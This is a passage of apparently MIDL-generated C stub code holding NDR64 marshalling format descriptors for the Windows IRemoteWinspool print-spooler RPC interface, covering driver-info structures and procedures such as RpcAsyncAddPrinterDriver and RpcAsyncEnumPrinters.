*wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag613\n    }\n};\n\nstatic const __midl_frag552_t __midl_frag552 =\n{ \n/* RPC_DRIVER_INFO_3 */\n    { \n    /* RPC_DRIVER_INFO_3 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_DRIVER_INFO_3 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 88 /* 0x58 */,\n        0,\n        0,\n        &__midl_frag564,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag551_t __midl_frag551 =\n{ \n/* *RPC_DRIVER_INFO_3 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag552\n};\n\nstatic const __midl_frag550_t __midl_frag550 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    }\n};\n\nstatic const __midl_frag544_t __midl_frag544 =\n{ \n/* DRIVER_INFO_2 */\n    { \n    /* DRIVER_INFO_2 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* DRIVER_INFO_2 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 48 /* 0x30 */,\n        0,\n        0,\n        &__midl_frag550,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag543_t __midl_frag543 =\n{ \n/* *DRIVER_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag544\n};\n\nstatic const __midl_frag538_t __midl_frag538 =\n{ \n/* __MIDL_IRemoteWinspool_0007 */\n    { \n    /* __MIDL_IRemoteWinspool_0007 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag797,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 6 /* 0x6 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag758,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag543,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag551,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag565,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 6 /* 0x6 */,\n        &__midl_frag582,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 8 /* 0x8 */,\n        &__midl_frag603,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag537_t __midl_frag537 =\n{ \n/* DRIVER_CONTAINER */\n    { \n    /* DRIVER_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* DRIVER_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag538\n        },\n        { \n        /* DRIVER_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag536_t __midl_frag536 =\n{ \n/* *DRIVER_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag537\n};\n\nstatic const __midl_frag533_t __midl_frag533 =\n{ \n/* RpcAsyncAddPrinterDriver */\n    { \n    /* RpcAsyncAddPrinterDriver */      /* procedure RpcAsyncAddPrinterDriver */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag942,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDriverContainer */      /* parameter pDriverContainer */\n        &__midl_frag537,\n        { \n        /* pDriverContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* dwFileCopyFlags */      /* parameter dwFileCopyFlags */\n        &__midl_frag948,\n        { \n        /* dwFileCopyFlags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag518_t __midl_frag518 =\n{ \n/* RpcAsyncEnumPrinters */\n    { \n    /* RpcAsyncEnumPrinters */      /* procedure RpcAsyncEnumPrinters */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 72 /* 0x48 */ ,  /* Stack size */\n        (NDR64_UINT32) 24 /* 0x18 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag948,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Name */      /* parameter Name */\n        &__midl_frag942,\n        { \n        /* Name */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag948,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterEnum */      /* parameter pPrinterEnum */\n        &__midl_frag829,\n        { \n        /* pPrinterEnum */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag948,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag948,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag948,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag516_t __midl_frag516 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 225 /* 0xe1 */,\n    (NDR64_UINT8) 1 /* 0x1 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag515_t __midl_frag515 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag516\n};\n\nstatic const __midl_frag514_t __midl_frag514 =\n{ \n/* RpcAsyncDeletePrinterIC */\n    { \n    /* RpcAsyncDeletePrinterIC */      /* procedure RpcAsyncDeletePrinterIC */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 224 /* 0xe0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* phPrinterIC */      /* parameter phPrinterIC */\n        &__midl_frag516,\n        { \n        /* phPrinterIC */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag507_t __midl_frag507 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag742\n};\n\nstatic const __midl_frag505_t __midl_frag505 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag504_t __midl_frag504 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag503_t __midl_frag503 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag504\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag505\n    }\n};\n\nstatic const __midl_frag502_t __midl_frag502 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag503\n};\n\nstatic const __midl_frag501_t __midl_frag501 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 1 /* 0x1 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag500_t __midl_frag500 =\n{ \n/* RpcAsyncPlayGdiScriptOnPrinterIC */\n    { \n    /* RpcAsyncPlayGdiScriptOnPrinterIC */      /* procedure RpcAsyncPlayGdiScriptOnPrinterIC */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinterIC */      /* parameter hPrinterIC */\n        &__midl_frag501,\n        { \n        /* hPrinterIC */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pIn */      /* parameter pIn */\n        &__midl_frag503,\n        { \n        /* pIn */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* cIn */      /* parameter cIn */\n        &__midl_frag948,\n        { \n        /* cIn */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pOut */      /* parameter pOut */\n        &__midl_frag742,\n        { \n        /* pOut */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cOut */      /* parameter cOut */\n        &__midl_frag948,\n        { \n        /* cOut */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* ul */      /* parameter ul */\n        &__midl_frag948,\n        { \n        /* ul */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag498_t __midl_frag498 